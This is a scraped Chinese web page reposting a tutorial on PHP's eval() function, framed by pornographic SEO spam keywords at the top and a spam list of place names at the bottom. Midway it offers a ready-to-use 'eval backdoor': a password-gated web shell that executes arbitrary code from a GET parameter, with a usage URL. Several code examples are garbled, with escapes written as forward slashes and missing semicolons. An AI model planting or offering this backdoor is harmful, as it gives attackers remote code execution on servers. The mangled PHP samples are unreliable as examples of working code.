国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 語言 > PHP > 正文

PHP eval函數使用介紹

2024-09-04 11:49:54
字體:
來源:轉載
供稿:網友

eval()函數中的eval是evaluate的簡稱,這個函數的作用就是把一段字符串當作PHP語句來執行,一般情況下不建議使用容易被黑客利用。

代碼:

eval("echo'hello world';");

上邊代碼等同于下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運用eval()要注意幾點:

1.eval函數的參數的字符串末尾一定要有分號,在最后還要另加一個分號(這個分號是php限制)

2.注意單引號,雙引號和反斜杠的運用。如果參數中帶有變量時,并且變量有賦值操作的話,變量前的$符號錢一定要有/來轉義。如果沒有賦值操作可以不需要。

代碼:

$a=100;eval("echo$a;");

因為沒有賦值操作,所以可以不用/來轉義$.等同于以下代碼:

  1. $a=100;eval("echo/$a;")  
  2.  
  3. $a=100; 
  4. eval("echo/$a;"

3.注意在命令式字符串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。

命令式字符串是指:字符串中包括echo、print之類的命令的時候。

如果參數只有一個變量則可以不用。例如:

  1. $func =<<<FUNCfunction test(){   echo "test eval function"; }FUNC;eval($func);test();  

分享個php eval后門程序

要求必須支持eval函數

使用方法

http://url/test.php?pwd=admin&action=eval&a=phpinfo();

  1. <?php$passwd="admin";if($_GET['pwd']!=$passwd)exit;if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}?> 

PHP eval() 函數介紹

定義和用法

eval() 函數把字符串按照 PHP 代碼來計算。

該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

語法

eval(phpcode)

參數  phpcode

描述  必需。規定要計算的 PHP 代碼。

提示和注釋

注釋:返回語句會立即終止對字符串的計算。

注釋:該函數對于在數據庫文本字段中供日后計算而進行的代碼存儲很有用。

例子

  1. <?php$string = "beautiful";$time = "winter"$str = 'This is a $string $time morning!';echo $str"<br />"eval("/$str = /"$str/";");echo $str;?> 

輸出:

This is a $string $time morning!

This is a beautiful winter morning!

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 满城县| 靖宇县| 晋宁县| 正宁县| 梓潼县| 临泉县| 太保市| 青川县| 芷江| 海南省| 太仆寺旗| 南皮县| 综艺| 乐清市| 浠水县| 荆州市| 登封市| 石河子市| 浮山县| 八宿县| 林周县| 济宁市| 平定县| 望城县| 奉贤区| 佛冈县| 黄大仙区| 宁安市| 许昌市| 宜章县| 偃师市| 上饶市| 襄樊市| 梨树县| 长武县| 巴东县| 乃东县| 英吉沙县| 湖州市| 三门峡市| 福州市|